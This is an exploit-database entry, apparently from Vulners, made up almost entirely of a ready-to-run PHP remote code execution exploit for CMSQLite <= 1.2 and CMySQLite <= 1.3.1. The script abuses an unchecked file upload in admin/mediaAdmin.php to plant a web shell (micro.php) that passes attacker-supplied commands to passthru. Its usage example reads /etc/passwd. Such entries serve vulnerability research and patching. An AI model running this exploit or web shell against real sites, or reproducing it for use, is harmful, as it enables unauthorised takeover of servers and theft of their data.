CMSQLite <= 1.2 & CMySQLite <= 1.3.1 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code Execution Exploi

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;
CMSQLite &#60;= 1.2 & CMySQLite &#60;= 1.3.1 Remote Code Execution Exploit
by BlackHawk &#60;hawkgotyou gmail com&#62; &#60;http://twitter.com/itablackhawk&#62;
Thanks to rgod for the php code and Natural Killer

&#34;;
if ($argc&#60;4) {
echo &#34;Usage: php &#34;.$argv[0].&#34; Host Path CMD
Host:          target server (ip/hostname)
Path:          path of CMSQLite / CMySQLite
CMD:           A Shell Command

Example:
php &#34;.$argv[0].&#34; localhost /template/ cat /etc/passwd&#34;;

die;
}
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);


/*
Explanation:

No check of user rights when uploading a file, and file type is checked via
HTTP header Content-Type, wich can be different to the real.

exploit creates a micro.php shell on target site

*/

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];

$cmd=&#34;&#34;;
for ($i=3; $i&#60;=$argc-1; $i++){
$cmd.=&#34; &#34;.$argv[$i];
}
$port=80;
$proxy=&#34;&#34;;

$cmd=urlencode($cmd);
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo &#34;- Uploading Shell Creator..\r\n&#34;;

$data=&#34;-----------------------------7d529a1d23092a\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;fileName\&#34;; filename=\&#34;oh_my_shell.php\&#34;\r\n&#34;;
$data.=&#34;Content-Type: application/zip\r\n\r\n&#34;;
$data.=&#34;&#60;?php
\$fp=fopen(&#39;micro.php&#39;,&#39;w&#39;);
fputs(\$fp,&#39;&#60;?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
\$_GET[cmd]=stripslashes(\$_GET[cmd]);
}
echo 666999;
passthru(\$_GET[cmd]);
echo 666999;
?&#62;&#39;);
fclose(\$fp);
chmod(&#39;micro.php&#39;,777);
?&#62;\r\n&#34;;
$data.=&#39;-----------------------------7d529a1d23092a
Content-Disposition: form-data; name=&#34;upload&#34;

1
-----------------------------7d529a1d23092a--
&#39;;
$packet=&#34;POST &#34;.$p.&#34;admin/mediaAdmin.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;/example.html\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

echo &#34;- Creating the Shell..\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;media/oh_my_shell.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(3);

echo &#34;- Execute Commands..\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;media/micro.php?cmd=$cmd HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (strstr($html,&#34;666999&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;666999&#34;,$html);
  die(&#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;);
}

?&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1